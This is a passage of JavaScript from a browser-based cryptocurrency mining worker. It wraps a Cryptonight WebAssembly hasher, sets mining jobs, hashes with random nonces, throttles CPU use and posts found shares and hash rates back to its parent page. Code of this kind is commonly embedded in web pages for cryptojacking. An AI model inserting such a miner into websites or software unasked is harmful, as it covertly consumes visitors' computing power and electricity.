        this.setJob(job)
    }
    if (job.throttle) {
        this.throttleWait = 1 / (1 - job.throttle) - 1;
        this.throttledStart = this.now();
        this.throttledHashes = 0;
        this.workThrottled()
    } else {
        this.work()
    }
}
);
CryptonightWASMWrapper.prototype.destroy = (function() {
    _cryptonight_destroy(this.ctx)
}
);
CryptonightWASMWrapper.prototype.hexToBytes = (function(hex, bytes) {
    var bytes = new Uint8Array(hex.length / 2);
    for (var i = 0, c = 0; c < hex.length; c += 2,
    i++) {
        bytes[i] = parseInt(hex.substr(c, 2), 16)
    }
    return bytes
}
);
CryptonightWASMWrapper.prototype.bytesToHex = (function(bytes) {
    for (var hex = "", i = 0; i < bytes.length; i++) {
        hex += (bytes[i] >>> 4).toString(16);
        hex += (bytes[i] & 15).toString(16)
    }
    return hex
}
);
CryptonightWASMWrapper.prototype.meetsTarget = (function(hash, target) {
    for (var i = 0; i < target.length; i++) {
        var hi = hash.length - i - 1
          , ti = target.length - i - 1;
        if (hash[hi] > target[ti]) {
            return false
        } else if (hash[hi] < target[ti]) {
            return true
        }
    }
    return false
}
);
CryptonightWASMWrapper.prototype.setJob = (function(job) {
    this.currentJob = job;
    this.blob = this.hexToBytes(job.blob);
    this.input.set(this.blob);
    var target = this.hexToBytes(job.target);
    if (target.length <= 8) {
        for (var i = 0; i < target.length; i++) {
            this.target[this.target.length - i - 1] = target[target.length - i - 1]
        }
        for (var i = 0; i < this.target.length - target.length; i++) {
            this.target[i] = 255
        }
    } else {
        this.target = target
    }
}
);
CryptonightWASMWrapper.prototype.now = (function() {
    return self.performance ? self.performance.now() : Date.now()
}
);
CryptonightWASMWrapper.prototype.hash = (function(input, output, length) {
    var nonce = Math.random() * 4294967295 + 1 >>> 0;
    this.input[39] = (nonce & 4278190080) >> 24;
    this.input[40] = (nonce & 16711680) >> 16;
    this.input[41] = (nonce & 65280) >> 8;
    this.input[42] = (nonce & 255) >> 0;
    _cryptonight_hash(this.ctx, input.byteOffset, output.byteOffset, length)
}
);
CryptonightWASMWrapper.prototype.verify = (function(job) {
    this.blob = this.hexToBytes(job.blob);
    this.input.set(this.blob);
    for (var i = 0, c = 0; c < job.nonce.length; c += 2,
    i++) {
        this.input[39 + i] = parseInt(job.nonce.substr(c, 2), 16)
    }
    _cryptonight_hash(this.ctx, this.input.byteOffset, this.output.byteOffset, this.blob.length);
    var result = this.bytesToHex(this.output);
    self.postMessage({
        verify_id: job.verify_id,
        verified: result === job.result
    })
}
);
CryptonightWASMWrapper.prototype.work = (function() {
    var hashes = 0;
    var meetsTarget = false;
    var start = this.now();
    var elapsed = 0;
    do {
        this.hash(this.input, this.output, this.blob.length);
        hashes++;
        meetsTarget = this.meetsTarget(this.output, this.target);
        elapsed = this.now() - start
    } while (!meetsTarget && elapsed < 1e3);var hashesPerSecond = hashes / (elapsed / 1e3);
    if (meetsTarget) {
        var nonceHex = this.bytesToHex(this.input.subarray(39, 43));
        var resultHex = this.bytesToHex(this.output);
        self.postMessage({
            hashesPerSecond: hashesPerSecond,
            hashes: hashes,
            job_id: this.currentJob.job_id,
            nonce: nonceHex,
            result: resultHex
        })
    } else {
        self.postMessage({
            hashesPerSecond: hashesPerSecond,
            hashes: hashes
        })
    }
}
);
CryptonightWASMWrapper.prototype.workThrottled = (function() {
    var start = this.now();
    this.hash(this.input, this.output, this.blob.length);
    var end = this.now();
    var timePerHash = end - start;
    this.throttledHashes++;
    var elapsed = end - this.throttledStart;
    var hashesPerSecond = this.throttledHashes / (elapsed / 1e3);
    if (this.meetsTarget(this.output, this.target)) {
        var nonceHex = this.bytesToHex(this.input.subarray(39, 43));
        var resultHex = this.bytesToHex(this.output);
        self.postMessage({
            hashesPerSecond: hashesPerSecond,
            hashes: this.throttledHashes,
            job_id: this.currentJob.job_id,
            nonce: nonceHex,
            result: resultHex
        });
        this.throttledHashes = 0
    } else if (elapsed > 1e3) {
        self.postMessage({
            hashesPerSecond: hashesPerSecond,
            hashes: this.throttledHashes
        });
        this.throttledHashes = 0
    } else {
        var wait = Math.min(2e3, timePerHash * this.throttleWait);
        setTimeout(this.workThrottledBound, wait)
    }
}
);
Module["onRuntimeInitialized"] = (function() {
    var cryptonight = new CryptonightWASMWrapper
}
)